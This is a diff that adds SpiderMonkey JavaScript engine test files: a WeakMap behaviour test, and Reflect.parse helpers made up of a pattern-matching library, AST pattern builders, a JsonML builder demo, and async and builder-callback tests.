+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var TestPassCount = 0;
+ var TestFailCount = 0;
+ var TestTodoCount = 0;
+
+ var TODO = 1;
+
+ function check(fun, todo) {
+ var thrown = null;
+ var success = false;
+ try {
+ success = fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (thrown)
+ success = false;
+
+ if (todo) {
+ TestTodoCount++;
+
+ if (success) {
+ var ex = new Error;
+ print ("=== TODO but PASSED? ===");
+ print (ex.stack);
+ print ("========================");
+ }
+
+ return;
+ }
+
+ if (success) {
+ TestPassCount++;
+ } else {
+ TestFailCount++;
+
+ var ex = new Error;
+ print ("=== FAILED ===");
+ print (ex.stack);
+ if (thrown) {
+ print (" threw exception:");
+ print (thrown);
+ }
+ print ("==============");
+ }
+ }
+
+ function checkThrows(fun, todo) {
+ let thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = true;
+ }
+
+ check(() => thrown, todo);
+ }
+
+ var key = {};
+ var map = new WeakMap();
+
+ check(() => !map.has(key));
+ check(() => map.delete(key) == false);
+ check(() => map.set(key, 42) === map);
+ check(() => map.get(key) == 42);
+ check(() => typeof map.get({}) == "undefined");
+ check(() => map.get({}, "foo") == undefined);
+
+ gc(); gc(); gc();
+
+ check(() => map.get(key) == 42);
+ check(() => map.delete(key) == true);
+ check(() => map.delete(key) == false);
+ check(() => map.delete({}) == false);
+
+ check(() => typeof map.get(key) == "undefined");
+ check(() => !map.has(key));
+ check(() => map.delete(key) == false);
+
+ var value = { };
+ check(() => map.set(new Object(), value) === map);
+ gc(); gc(); gc();
+
+ check(() => map.has("non-object key") == false);
+ check(() => map.has() == false);
+ check(() => map.get("non-object key") == undefined);
+ check(() => map.get() == undefined);
+ check(() => map.delete("non-object key") == false);
+ check(() => map.delete() == false);
+
+ check(() => map.set(key) === map);
+ check(() => map.get(key) == undefined);
+
+ checkThrows(() => map.set("non-object key", value));
+
+ print ("done");
+
+ reportCompare(0, TestFailCount, "weak map tests");
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_5/reflect-parse/Match.js b/js/src/tests/js1_8_5/reflect-parse/Match.js
new file mode 100644
index 000000000..0d5b35317
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/Match.js
@@ -0,0 +1,189 @@
+// |reftest| skip
+
+// A little pattern-matching library.
+var Match =
+
+(function() {
+
+ function Pattern(template) {
+ // act like a constructor even as a function
+ if (!(this instanceof Pattern))
+ return new Pattern(template);
+
+ this.template = template;
+ }
+
+ Pattern.prototype = {
+ match: function(act) {
+ return match(act, this.template);
+ },
+
+ matches: function(act) {
+ try {
+ return this.match(act);
+ }
+ catch (e if e instanceof MatchError) {
+ return false;
+ }
+ },
+
+ assert: function(act, message) {
+ try {
+ return this.match(act);
+ }
+ catch (e if e instanceof MatchError) {
+ throw new Error((message || "failed match") + ": " + e.message);
+ }
+ },
+
+ toString: () => "[object Pattern]"
+ };
+
+ Pattern.ANY = new Pattern;
+ Pattern.ANY.template = Pattern.ANY;
+
+ Pattern.NUMBER = new Pattern;
+ Pattern.NUMBER.match = function (act) {
+ if (typeof act !== 'number') {
+ throw new MatchError("Expected number, got: " + quote(act));
+ }
+ }
+
+ Pattern.NATURAL = new Pattern
+ Pattern.NATURAL.match = function (act) {
+ if (typeof act !== 'number' || act !== Math.floor(act) || act < 0) {
+ throw new MatchError("Expected natural number, got: " + quote(act));
+ }
+ }
+
+ var quote = uneval;
+
+ function MatchError(msg) {
+ this.message = msg;
+ }
+
+ MatchError.prototype = {
+ toString: function() {
+ return "match error: " + this.message;
+ }
+ };
+
+ function isAtom(x) {
+ return (typeof x === "number") ||
+ (typeof x === "string") ||
+ (typeof x === "boolean") ||
+ (x === null) ||
+ (typeof x === "object" && x instanceof RegExp);
+ }
+
+ function isObject(x) {
+ return (x !== null) && (typeof x === "object");
+ }
+
+ function isFunction(x) {
+ return typeof x === "function";
+ }
+
+ function isArrayLike(x) {
+ return isObject(x) && ("length" in x);
+ }
+
+ function matchAtom(act, exp) {
+ if ((typeof exp) === "number" && isNaN(exp)) {
+ if ((typeof act) !== "number" || !isNaN(act))
+ throw new MatchError("expected NaN, got: " + quote(act));
+ return true;
+ }
+
+ if (exp === null) {
+ if (act !== null)
+ throw new MatchError("expected null, got: " + quote(act));
+ return true;
+ }
+
+ if (exp instanceof RegExp) {
+ if (!(act instanceof RegExp) || exp.source !== act.source)
+ throw new MatchError("expected " + quote(exp) + ", got: " + quote(act));
+ return true;
+ }
+
+ switch (typeof exp) {
+ case "string":
+ if (act !== exp)
+ throw new MatchError("expected " + quote(exp) + ", got " + quote(act));
+ return true;
+ case "boolean":
+ case "number":
+ if (exp !== act)
+ throw new MatchError("expected " + exp + ", got " + quote(act));
+ return true;
+ }
+
+ throw new Error("bad pattern: " + exp.toSource());
+ }
+
+ function matchObject(act, exp) {
+ if (!isObject(act))
+ throw new MatchError("expected object, got " + quote(act));
+
+ for (var key in exp) {
+ if (!(key in act))
+ throw new MatchError("expected property " + quote(key) + " not found in " + quote(act));
+ match(act[key], exp[key]);
+ }
+
+ return true;
+ }
+
+ function matchFunction(act, exp) {
+ if (!isFunction(act))
+ throw new MatchError("expected function, got " + quote(act));
+
+ if (act !== exp)
+ throw new MatchError("expected function: " + exp +
+ "\nbut got different function: " + act);
+ }
+
+ function matchArray(act, exp) {
+ if (!isObject(act) || !("length" in act))
+ throw new MatchError("expected array-like object, got " + quote(act));
+
+ var length = exp.length;
+ if (act.length !== exp.length)
+ throw new MatchError("expected array-like object of length " + length + ", got " + quote(act));
+
+ for (var i = 0; i < length; i++) {
+ if (i in exp) {
+ if (!(i in act))
+ throw new MatchError("expected array property " + i + " not found in " + quote(act));
+ match(act[i], exp[i]);
+ }
+ }
+
+ return true;
+ }
+
+ function match(act, exp) {
+ if (exp === Pattern.ANY)
+ return true;
+
+ if (exp instanceof Pattern)
+ return exp.match(act);
+
+ if (isAtom(exp))
+ return matchAtom(act, exp);
+
+ if (isArrayLike(exp))
+ return matchArray(act, exp);
+
+ if (isFunction(exp))
+ return matchFunction(act, exp);
+
+ return matchObject(act, exp);
+ }
+
+ return { Pattern: Pattern,
+ MatchError: MatchError };
+
+})();
+
diff --git a/js/src/tests/js1_8_5/reflect-parse/PatternAsserts.js b/js/src/tests/js1_8_5/reflect-parse/PatternAsserts.js
new file mode 100644
index 000000000..8fd5840b6
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/PatternAsserts.js
@@ -0,0 +1,93 @@
+// |reftest| skip
+
+loadRelativeToScript('PatternBuilders.js');
+
+function localSrc(src) {
+ return "(function(){ " + src + " })";
+}
+function localPatt(patt) {
+ return program([exprStmt(funExpr(null, [], blockStmt([patt])))]);
+}
+function blockSrc(src) {
+ return "(function(){ { " + src + " } })";
+}
+function blockPatt(patt) {
+ return program([exprStmt(funExpr(null, [], blockStmt([blockStmt([patt])])))]);
+}
+
+function assertBlockStmt(src, patt) {
+ blockPatt(patt).assert(Reflect.parse(blockSrc(src)));
+}
+
+function assertBlockExpr(src, patt) {
+ assertBlockStmt(src, exprStmt(patt));
+}
+
+function assertBlockDecl(src, patt, builder) {
+ blockPatt(patt).assert(Reflect.parse(blockSrc(src), {builder: builder}));
+}
+
+function assertLocalStmt(src, patt) {
+ localPatt(patt).assert(Reflect.parse(localSrc(src)));
+}
+
+function assertLocalExpr(src, patt) {
+ assertLocalStmt(src, exprStmt(patt));
+}
+
+function assertLocalDecl(src, patt) {
+ localPatt(patt).assert(Reflect.parse(localSrc(src)));
+}
+
+function assertGlobalStmt(src, patt, builder) {
+ program([patt]).assert(Reflect.parse(src, {builder: builder}));
+}
+
+function assertStringExpr(src, patt) {
+ program([exprStmt(patt)]).assert(Reflect.parse(src));
+}
+
+function assertGlobalExpr(src, patt, builder) {
+ program([exprStmt(patt)]).assert(Reflect.parse(src, {builder: builder}));
+ //assertStmt(src, exprStmt(patt));
+}
+
+function assertGlobalDecl(src, patt) {
+ program([patt]).assert(Reflect.parse(src));
+}
+
+function assertProg(src, patt) {
+ program(patt).assert(Reflect.parse(src));
+}
+
+function assertStmt(src, patt) {
+ assertLocalStmt(src, patt);
+ assertGlobalStmt(src, patt);
+ assertBlockStmt(src, patt);
+}
+
+function assertInFunctionExpr(src, patt) {
+ assertLocalExpr(src, patt);
+ assertBlockExpr(src, patt);
+}
+
+function assertExpr(src, patt) {
+ assertLocalExpr(src, patt);
+ assertGlobalExpr(src, patt);
+ assertBlockExpr(src, patt);
+}
+
+function assertDecl(src, patt) {
+ assertLocalDecl(src, patt);
+ assertGlobalDecl(src, patt);
+ assertBlockDecl(src, patt);
+}
+
+function assertError(src, errorType) {
+ try {
+ Reflect.parse(src);
+ } catch (expected if expected instanceof errorType) {
+ return;
+ }
+ throw new Error("expected " + errorType.name + " for " + uneval(src));
+}
diff --git a/js/src/tests/js1_8_5/reflect-parse/PatternBuilders.js b/js/src/tests/js1_8_5/reflect-parse/PatternBuilders.js
new file mode 100644
index 000000000..be65bd76e
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/PatternBuilders.js
@@ -0,0 +1,308 @@
+// |reftest| skip
+
+loadRelativeToScript('Match.js');
+
+var { Pattern, MatchError } = Match;
+
+function program(elts) {
+ return Pattern({ type: "Program", body: elts });
+}
+function exprStmt(expr) {
+ return Pattern({ type: "ExpressionStatement", expression: expr });
+}
+function throwStmt(expr) {
+ return Pattern({ type: "ThrowStatement", argument: expr });
+}
+function returnStmt(expr) {
+ return Pattern({ type: "ReturnStatement", argument: expr });
+}
+function yieldExpr(expr) {
+ return Pattern({ type: "YieldExpression", argument: expr });
+}
+function lit(val) {
+ return Pattern({ type: "Literal", value: val });
+}
+function comp(name) {
+ return Pattern({ type: "ComputedName", name: name });
+}
+function spread(val) {
+ return Pattern({ type: "SpreadExpression", expression: val});
+}
+var thisExpr = Pattern({ type: "ThisExpression" });
+function funDecl(id, params, body, defaults=[], rest=null) {
+ return Pattern({ type: "FunctionDeclaration",
+ id: id,
+ params: params,
+ defaults: defaults,
+ body: body,
+ rest: rest,
+ generator: false });
+}
+function genFunDecl(style, id, params, body) {
+ return Pattern({ type: "FunctionDeclaration",
+ id: id,
+ params: params,
+ defaults: [],
+ body: body,
+ generator: true,
+ style: style });
+}
+function asyncFunDecl(id, params, body) {
+ return Pattern({ type: "FunctionDeclaration",
+ id: id,
+ params: params,
+ defaults: [],
+ body: body,
+ generator: true,
+ async: true,
+ style: "es6" });
+}
+function varDecl(decls) {
+ return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "var" });
+}
+function letDecl(decls) {
+ return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "let" });
+}
+function constDecl(decls) {
+ return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "const" });
+}
+function ident(name) {
+ return Pattern({ type: "Identifier", name: name });
+}
+function dotExpr(obj, id) {
+ return Pattern({ type: "MemberExpression", computed: false, object: obj, property: id });
+}
+function memExpr(obj, id) {
+ return Pattern({ type: "MemberExpression", computed: true, object: obj, property: id });
+}
+function forStmt(init, test, update, body) {
+ return Pattern({ type: "ForStatement", init: init, test: test, update: update, body: body });
+}
+function forOfStmt(lhs, rhs, body) {
+ return Pattern({ type: "ForOfStatement", left: lhs, right: rhs, body: body });
+}
+function forInStmt(lhs, rhs, body) {
+ return Pattern({ type: "ForInStatement", left: lhs, right: rhs, body: body, each: false });
+}
+function forEachInStmt(lhs, rhs, body) {
+ return Pattern({ type: "ForInStatement", left: lhs, right: rhs, body: body, each: true });
+}
+function breakStmt(lab) {
+ return Pattern({ type: "BreakStatement", label: lab });
+}
+function continueStmt(lab) {
+ return Pattern({ type: "ContinueStatement", label: lab });
+}
+function blockStmt(body) {
+ return Pattern({ type: "BlockStatement", body: body });
+}
+function literal(val) {
+ return Pattern({ type: "Literal", value: val });
+}
+var emptyStmt = Pattern({ type: "EmptyStatement" });
+function ifStmt(test, cons, alt) {
+ return Pattern({ type: "IfStatement", test: test, alternate: alt, consequent: cons });
+}
+function labStmt(lab, stmt) {
+ return Pattern({ type: "LabeledStatement", label: lab, body: stmt });
+}
+function withStmt(obj, stmt) {
+ return Pattern({ type: "WithStatement", object: obj, body: stmt });
+}
+function whileStmt(test, stmt) {
+ return Pattern({ type: "WhileStatement", test: test, body: stmt });
+}
+function doStmt(stmt, test) {
+ return Pattern({ type: "DoWhileStatement", test: test, body: stmt });
+}
+function switchStmt(disc, cases) {
+ return Pattern({ type: "SwitchStatement", discriminant: disc, cases: cases });
+}
+function caseClause(test, stmts) {
+ return Pattern({ type: "SwitchCase", test: test, consequent: stmts });
+}
+function defaultClause(stmts) {
+ return Pattern({ type: "SwitchCase", test: null, consequent: stmts });
+}
+function catchClause(id, guard, body) {
+ return Pattern({ type: "CatchClause", param: id, guard: guard, body: body });
+}
+function tryStmt(body, guarded, unguarded, fin) {
+ return Pattern({ type: "TryStatement", block: body, guardedHandlers: guarded, handler: unguarded, finalizer: fin });
+}
+function letStmt(head, body) {
+ return Pattern({ type: "LetStatement", head: head, body: body });
+}
+
+function superProp(id) {
+ return dotExpr(Pattern({ type: "Super" }), id);
+}
+function superElem(id) {
+ return memExpr(Pattern({ type: "Super" }), id);
+}
+
+function classStmt(id, heritage, body) {
+ return Pattern({ type: "ClassStatement",
+ id: id,
+ superClass: heritage,
+ body: body});
+}
+function classExpr(id, heritage, body) {
+ return Pattern({ type: "ClassExpression",
+ id: id,
+ superClass: heritage,
+ body: body});
+}
+function classMethod(id, body, kind, static) {
+ return Pattern({ type: "ClassMethod",
+ name: id,
+ body: body,
+ kind: kind,
+ static: static });
+}
+
+function funExpr(id, args, body, gen) {
+ return Pattern({ type: "FunctionExpression",
+ id: id,
+ params: args,
+ body: body,
+ generator: false });
+}
+function genFunExpr(style, id, args, body) {
+ return Pattern({ type: "FunctionExpression",
+ id: id,
+ params: args,
+ body: body,
+ generator: true,
+ style: style });
+}
+function asyncFunExpr(id, args, body) {
+ return Pattern({ type: "FunctionExpression",
+ id: id,
+ params: args,
+ body: body,
+ generator: true,
+ async: true,
+ style: "es6" });
+}
+function arrowExpr(args, body) {
+ return Pattern({ type: "ArrowFunctionExpression",
+ params: args,
+ body: body });
+}
+function asyncArrowExpr(isExpression, args, body) {
+ return Pattern({ type: "ArrowFunctionExpression",
+ params: args,
+ body: body,
+ generator: true,
+ async: true,
+ expression: isExpression,
+ style: "es6" });
+}
+
+function metaProperty(meta, property) {
+ return Pattern({ type: "MetaProperty",
+ meta: meta,
+ property: property });
+}
+function newTarget() {
+ return metaProperty(ident("new"), ident("target"));
+}
+
+function unExpr(op, arg) {
+ return Pattern({ type: "UnaryExpression", operator: op, argument: arg });
+}
+function binExpr(op, left, right) {
+ return Pattern({ type: "BinaryExpression", operator: op, left: left, right: right });
+}
+function aExpr(op, left, right) {
+ return Pattern({ type: "AssignmentExpression", operator: op, left: left, right: right });
+}
+function updExpr(op, arg, prefix) {
+ return Pattern({ type: "UpdateExpression", operator: op, argument: arg, prefix: prefix });
+}
+function logExpr(op, left, right) {
+ return Pattern({ type: "LogicalExpression", operator: op, left: left, right: right });
+}
+
+function condExpr(test, cons, alt) {
+ return Pattern({ type: "ConditionalExpression", test: test, consequent: cons, alternate: alt });
+}
+function seqExpr(exprs) {
+ return Pattern({ type: "SequenceExpression", expressions: exprs });
+}
+function newExpr(callee, args) {
+ return Pattern({ type: "NewExpression", callee: callee, arguments: args });
+}
+function callExpr(callee, args) {
+ return Pattern({ type: "CallExpression", callee: callee, arguments: args });
+}
+function superCallExpr(args) {
+ return callExpr({ type: "Super" }, args);
+}
+function arrExpr(elts) {
+ return Pattern({ type: "ArrayExpression", elements: elts });
+}
+function objExpr(elts) {
+ return Pattern({ type: "ObjectExpression", properties: elts });
+}
+function computedName(elts) {
+ return Pattern({ type: "ComputedName", name: elts });
+}
+function templateLit(elts) {
+ return Pattern({ type: "TemplateLiteral", elements: elts });
+}
+function taggedTemplate(tagPart, templatePart) {
+ return Pattern({ type: "TaggedTemplate", callee: tagPart, arguments : templatePart });
+}
+function template(raw, cooked, ...args) {
+ return Pattern([{ type: "CallSiteObject", raw: raw, cooked: cooked}, ...args]);
+}
+
+function compExpr(body, blocks, filter, style) {
+ if (style == "legacy" || !filter)
+ return Pattern({ type: "ComprehensionExpression", body, blocks, filter, style });
+ else
+ return Pattern({ type: "ComprehensionExpression", body, blocks: blocks.concat(compIf(filter)), filter: null, style });
+}
+function genExpr(body, blocks, filter, style) {
+ if (style == "legacy" || !filter)
+ return Pattern({ type: "GeneratorExpression", body, blocks, filter, style });
+ else
+ return Pattern({ type: "GeneratorExpression", body, blocks: blocks.concat(compIf(filter)), filter: null, style });
+}
+function graphExpr(idx, body) {
+ return Pattern({ type: "GraphExpression", index: idx, expression: body });
+}
+function idxExpr(idx) {
+ return Pattern({ type: "GraphIndexExpression", index: idx });
+}
+
+function compBlock(left, right) {
+ return Pattern({ type: "ComprehensionBlock", left: left, right: right, each: false, of: false });
+}
+function compEachBlock(left, right) {
+ return Pattern({ type: "ComprehensionBlock", left: left, right: right, each: true, of: false });
+}
+function compOfBlock(left, right) {
+ return Pattern({ type: "ComprehensionBlock", left: left, right: right, each: false, of: true });
+}
+function compIf(test) {
+ return Pattern({ type: "ComprehensionIf", test: test });
+}
+
+function arrPatt(elts) {
+ return Pattern({ type: "ArrayPattern", elements: elts });
+}
+function objPatt(elts) {
+ return Pattern({ type: "ObjectPattern", properties: elts });
+}
+
+function assignElem(target, defaultExpr = null, targetIdent = typeof target == 'string' ? ident(target) : target) {
+ return defaultExpr ? aExpr('=', targetIdent, defaultExpr) : targetIdent;
+}
+function assignProp(property, target, defaultExpr = null, shorthand = !target, targetProp = target || ident(property)) {
+ return Pattern({
+ type: "Property", key: ident(property), shorthand,
+ value: defaultExpr ? aExpr('=', targetProp, defaultExpr) : targetProp });
+}
diff --git a/js/src/tests/js1_8_5/reflect-parse/alternateBuilder.js b/js/src/tests/js1_8_5/reflect-parse/alternateBuilder.js
new file mode 100644
index 000000000..74f0e3e4e
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/alternateBuilder.js
@@ -0,0 +1,224 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// A simple proof-of-concept that the builder API can be used to generate other
+// formats, such as JsonMLAst:
+//
+// http://code.google.com/p/es-lab/wiki/JsonMLASTFormat
+//
+// It's incomplete (e.g., it doesn't convert source-location information and
+// doesn't use all the direct-eval rules), but I think it proves the point.
+
+function test() {
+
+var JsonMLAst = (function() {
+function reject() {
+ throw new SyntaxError("node type not supported");
+}
+
+function isDirectEval(expr) {
+ // an approximation to the actual rules. you get the idea
+ return (expr[0] === "IdExpr" && expr[1].name === "eval");
+}
+
+function functionNode(type) {
+ return function(id, args, body, isGenerator, isExpression) {
+ if (isExpression)
+ body = ["ReturnStmt", {}, body];
+
+ if (!id)
+ id = ["Empty"];
+
+ // Patch up the argument node types: s/IdExpr/IdPatt/g
+ for (var i = 0; i < args.length; i++) {
+ args[i][0] = "IdPatt";
+ }
+
+ args.unshift("ParamDecl", {});
+
+ return [type, {}, id, args, body];
+ }
+}
+
+return {
+ program: function(stmts) {
+ stmts.unshift("Program", {});
+ return stmts;
+ },
+ identifier: function(name) {
+ return ["IdExpr", { name: name }];
+ },
+ literal: function(val) {
+ return ["LiteralExpr", { value: val }];
+ },
+ expressionStatement: expr => expr,
+ conditionalExpression: function(test, cons, alt) {
+ return ["ConditionalExpr", {}, test, cons, alt];
+ },
+ unaryExpression: function(op, expr) {
+ return ["UnaryExpr", {op: op}, expr];
+ },
+ binaryExpression: function(op, left, right) {
+ return ["BinaryExpr", {op: op}, left, right];
+ },
+ property: function(kind, key, val) {
+ return [kind === "init"
+ ? "DataProp"
+ : kind === "get"
+ ? "GetterProp"
+ : "SetterProp",
+ {name: key[1].name}, val];
+ },
+ functionDeclaration: functionNode("FunctionDecl"),
+ variableDeclaration: function(kind, elts) {
+ if (kind === "let" || kind === "const")
+ throw new SyntaxError("let and const not supported");
+ elts.unshift("VarDecl", {});
+ return elts;
+ },
+ variableDeclarator: function(id, init) {
+ id[0] = "IdPatt";
+ if (!init)
+ return id;
+ return ["InitPatt", {}, id, init];
+ },
+ sequenceExpression: function(exprs) {
+ var length = exprs.length;
+ var result = ["BinaryExpr", {op:","}, exprs[exprs.length - 2], exprs[exprs.length - 1]];
+ for (var i = exprs.length - 3; i >= 0; i--) {
+ result = ["BinaryExpr", {op:","}, exprs[i], result];
+ }
+ return result;
+ },
+ assignmentExpression: function(op, lhs, expr) {
+ return ["AssignExpr", {op: op}, lhs, expr];
+ },
+ logicalExpression: function(op, left, right) {
+ return [op === "&&" ? "LogicalAndExpr" : "LogicalOrExpr", {}, left, right];
+ },
+ updateExpression: function(expr, op, isPrefix) {
+ return ["CountExpr", {isPrefix:isPrefix, op:op}, expr];
+ },
+ newExpression: function(callee, args) {
+ args.unshift("NewExpr", {}, callee);
+ return args;
+ },
+ callExpression: function(callee, args) {
+ args.unshift(isDirectEval(callee) ? "EvalExpr" : "CallExpr", {}, callee);
+ return args;
+ },
+ memberExpression: function(isComputed, expr, member) {
+ return ["MemberExpr", {}, expr, isComputed ? member : ["LiteralExpr", {type: "string", value: member[1].name}]];
+ },
+ functionExpression: functionNode("FunctionExpr"),
+ arrayExpression: function(elts) {
+ for (var i = 0; i < elts.length; i++) {
+ if (!elts[i])
+ elts[i] = ["Empty"];
+ }
+ elts.unshift("ArrayExpr", {});
+ return elts;
+ },
+ objectExpression: function(props) {
+ props.unshift("ObjectExpr", {});
+ return props;
+ },
+ thisExpression: function() {
+ return ["ThisExpr", {}];
+ },
+ templateLiteral: function(elts) {
+ for (var i = 0; i < elts.length; i++) {
+ if (!elts[i])
+ elts[i] = ["Empty"];
+ }
+ elts.unshift("TemplateLit", {});
+ return elts;
+ },
+
+ graphExpression: reject,
+ graphIndexExpression: reject,
+ comprehensionExpression: reject,
+ generatorExpression: reject,
+ yieldExpression: reject,
+
+ emptyStatement: () => ["EmptyStmt", {}],
+ blockStatement: function(stmts) {
+ stmts.unshift("BlockStmt", {});
+ return stmts;
+ },
+ labeledStatement: function(lab, stmt) {
+ return ["LabelledStmt", {label: lab}, stmt];
+ },
+ ifStatement: function(test, cons, alt) {
+ return ["IfStmt", {}, test, cons, alt || ["EmptyStmt", {}]];
+ },
+ switchStatement: function(test, clauses, isLexical) {
+ clauses.unshift("SwitchStmt", {}, test);
+ return clauses;
+ },
+ whileStatement: function(expr, stmt) {
+ return ["WhileStmt", {}, expr, stmt];
+ },
+ doWhileStatement: function(stmt, expr) {
+ return ["DoWhileStmt", {}, stmt, expr];
+ },
+ forStatement: function(init, test, update, body) {
+ return ["ForStmt", {}, init || ["Empty"], test || ["Empty"], update || ["Empty"], body];
+ },
+ forInStatement: function(lhs, rhs, body) {
+ return ["ForInStmt", {}, lhs, rhs, body];
+ },
+ breakStatement: function(lab) {
+ return lab ? ["BreakStmt", {}, lab] : ["BreakStmt", {}];
+ },
+ continueStatement: function(lab) {
+ return lab ? ["ContinueStmt", {}, lab] : ["ContinueStmt", {}];
+ },
+ withStatement: function(expr, stmt) {
+ return ["WithStmt", {}, expr, stmt];
+ },
+ returnStatement: function(expr) {
+ return expr ? ["ReturnStmt", {}, expr] : ["ReturnStmt", {}];
+ },
+ tryStatement: function(body, catches, fin) {
+ if (catches.length > 1)
+ throw new SyntaxError("multiple catch clauses not supported");
+ var node = ["TryStmt", body, catches[0] || ["Empty"]];
+ if (fin)
+ node.push(fin);
+ return node;
+ },
+ throwStatement: function(expr) {
+ return ["ThrowStmt", {}, expr];
+ },
+ debuggerStatement: () => ["DebuggerStmt", {}],
+ letStatement: reject,
+ switchCase: function(expr, stmts) {
+ if (expr)
+ stmts.unshift("SwitchCase", {}, expr);
+ else
+ stmts.unshift("DefaultCase", {});
+ return stmts;
+ },
+ catchClause: function(param, guard, body) {
+ if (guard)
+ throw new SyntaxError("catch guards not supported");
+ param[0] = "IdPatt";
+ return ["CatchClause", {}, param, body];
+ },
+ comprehensionBlock: reject,
+
+ arrayPattern: reject,
+ objectPattern: reject,
+ propertyPattern: reject,
+};
+})();
+
+Pattern(["Program", {},
+ ["BinaryExpr", {op: "+"},
+ ["LiteralExpr", {value: 2}],
+ ["BinaryExpr", {op: "*"},
+ ["UnaryExpr", {op: "-"}, ["IdExpr", {name: "x"}]],
+ ["IdExpr", {name: "y"}]]]]).match(Reflect.parse("2 + (-x * y)", {loc: false, builder: JsonMLAst}));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/async.js b/js/src/tests/js1_8_5/reflect-parse/async.js
new file mode 100644
index 000000000..355f0356c
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/async.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// async function declaration.
+assertDecl("async function foo() {}", asyncFunDecl(ident("foo"), [], blockStmt([])));
+
+// async function expression.
+assertExpr("(async function() {})", asyncFunExpr(null, [], blockStmt([])));
+assertExpr("(async function foo() {})", asyncFunExpr(ident("foo"), [], blockStmt([])));
+
+// async arrow.
+assertExpr("async a => 1", asyncArrowExpr(true, [ident("a")], literal(1)));
+assertExpr("async a => { 1 }", asyncArrowExpr(false, [ident("a")], blockStmt([exprStmt(literal(1))])));
+assertExpr("async a => { return 1 }", asyncArrowExpr(false, [ident("a")], blockStmt([returnStmt(literal(1))])));
+
+// async method.
+assertExpr("({ async foo() {} })", objExpr([{ key: ident("foo"), value: asyncFunExpr(ident("foo"), [], blockStmt([]))}]));
+
+assertStmt("class C { async foo() {} }", classStmt(ident("C"), null, [classMethod(ident("foo"), asyncFunExpr(ident("foo"), [], blockStmt([])), "method", false)]));
+assertStmt("class C { static async foo() {} }", classStmt(ident("C"), null, [classMethod(ident("foo"), asyncFunExpr(ident("foo"), [], blockStmt([])), "method", true)]));
+
+// await expression.
+assertDecl("async function foo() { await bar }", asyncFunDecl(ident("foo"), [], blockStmt([exprStmt(unExpr("await", ident("bar")))])));
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/reflect-parse/basicBuilder.js b/js/src/tests/js1_8_5/reflect-parse/basicBuilder.js
new file mode 100644
index 000000000..5956c2ec8
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/basicBuilder.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+// Builder tests
+
+Pattern("program").match(Reflect.parse("42", {builder:{program:() => "program"}}));
+
+assertGlobalStmt("throw 42", 1, { throwStatement: () => 1 });
+assertGlobalStmt("for (;;);", 2, { forStatement: () => 2 });
+assertGlobalStmt("for (x in y);", 3, { forInStatement: () => 3 });
+assertGlobalStmt("{ }", 4, { blockStatement: () => 4 });
+assertGlobalStmt("foo: { }", 5, { labeledStatement: () => 5 });
+assertGlobalStmt("with (o) { }", 6, { withStatement: () => 6 });
+assertGlobalStmt("while (x) { }", 7, { whileStatement: () => 7 });
+assertGlobalStmt("do { } while(false);", 8, { doWhileStatement: () => 8 });
+assertGlobalStmt("switch (x) { }", 9, { switchStatement: () => 9 });
+assertGlobalStmt("try { } catch(e) { }", 10, { tryStatement: () => 10 });
+assertGlobalStmt(";", 11, { emptyStatement: () => 11 });
+assertGlobalStmt("debugger;", 12, { debuggerStatement: () => 12 });
+assertGlobalStmt("42;", 13, { expressionStatement: () => 13 });
+assertGlobalStmt("for (;;) break", forStmt(null, null, null, 14), { breakStatement: () => 14 });
+assertGlobalStmt("for (;;) continue", forStmt(null, null, null, 15), { continueStatement: () => 15 });
+
+assertBlockDecl("var x", "var", { variableDeclaration: kind => kind });
+assertBlockDecl("let x", "let", { variableDeclaration: kind => kind });
+assertBlockDecl("const x = undefined", "const", { variableDeclaration: kind => kind });
+assertBlockDecl("function f() { }", "function", { functionDeclaration: () => "function" });
+
+assertGlobalExpr("(x,y,z)", 1, { sequenceExpression: () => 1 });
+assertGlobalExpr("(x ? y : z)", 2, { conditionalExpression: () => 2 });
+assertGlobalExpr("x + y", 3, { binaryExpression: () => 3 });
+assertGlobalExpr("delete x", 4, { unaryExpression: () => 4 });
+assertGlobalExpr("x = y", 5, { assignmentExpression: () => 5 });
+assertGlobalExpr("x || y", 6, { logicalExpression: () => 6 });
+assertGlobalExpr("x++", 7, { updateExpression: () => 7 });
+assertGlobalExpr("new x", 8, { newExpression: () => 8 });
+assertGlobalExpr("x()", 9, { callExpression: () => 9 });
+assertGlobalExpr("x.y", 10, { memberExpression: () => 10 });
+assertGlobalExpr("(function() { })", 11, { functionExpression: () => 11 });
+assertGlobalExpr("[1,2,3]", 12, { arrayExpression: () => 12 });
+assertGlobalExpr("({ x: y })", 13, { objectExpression: () => 13 });
+assertGlobalExpr("this", 14, { thisExpression: () => 14 });
+assertGlobalExpr("(function() { yield 42 })", genFunExpr("legacy", null, [], blockStmt([exprStmt(19)])), { yieldExpression: () => 19 });
+
+assertGlobalStmt("switch (x) { case y: }", switchStmt(ident("x"), [1]), { switchCase: () => 1 });
+assertGlobalStmt("try { } catch (e) { }", 2, { tryStatement: (b, g, u, f) => u, catchClause: () => 2 });
+assertGlobalStmt("try { } catch (e if e instanceof A) { } catch (e if e instanceof B) { }", [2, 2], { tryStatement: (b, g, u, f) => g, catchClause: () => 2 });
+assertGlobalStmt("try { } catch (e) { }", tryStmt(blockStmt([]), [], 2, null), { catchClause: () => 2 });
+assertGlobalStmt("try { } catch (e if e instanceof A) { } catch (e if e instanceof B) { }",
+ tryStmt(blockStmt([]), [2, 2], null, null),
+ { catchClause: () => 2 });
+
